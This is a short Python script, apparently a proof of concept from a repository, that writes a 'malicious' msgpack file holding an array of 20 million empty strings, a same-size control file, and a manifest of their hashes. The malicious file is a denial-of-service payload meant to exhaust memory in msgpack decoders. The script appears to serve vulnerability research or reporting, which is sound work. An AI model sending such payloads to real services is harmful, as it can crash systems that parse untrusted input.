File size: 1,617 Bytes
d20cb72 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | #!/usr/bin/env python3
from __future__ import annotations
import hashlib
import json
from pathlib import Path
import msgpack
ROOT = Path(__file__).resolve().parent
ARTIFACTS = ROOT / "artifacts"
ENTRY_COUNT = 20_000_000
def sha256(path: Path) -> str:
return hashlib.sha256(path.read_bytes()).hexdigest()
def main() -> int:
ARTIFACTS.mkdir(parents=True, exist_ok=True)
malicious = msgpack.packb([""] * ENTRY_COUNT, use_bin_type=True)
control = msgpack.packb(b"A" * (len(malicious) - 5), use_bin_type=True)
control_path = ARTIFACTS / "control_bin32_same_size.msgpack"
malicious_path = ARTIFACTS / "malicious_array32_empty_strings_20000000.msgpack"
control_path.write_bytes(control)
malicious_path.write_bytes(malicious)
manifest = {
"msgpack": msgpack.__version__,
"entry_count": ENTRY_COUNT,
"control": {
"path": str(control_path),
"size": control_path.stat().st_size,
"sha256": sha256(control_path),
"type": "bin32",
},
"malicious": {
"path": str(malicious_path),
"size": malicious_path.stat().st_size,
"sha256": sha256(malicious_path),
"type": "array32",
"element_count": ENTRY_COUNT,
"element_value": "",
},
"same_size_files": control_path.stat().st_size == malicious_path.stat().st_size,
}
(ARTIFACTS / "manifest.json").write_text(json.dumps(manifest, indent=2) + "\n")
print(json.dumps(manifest, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
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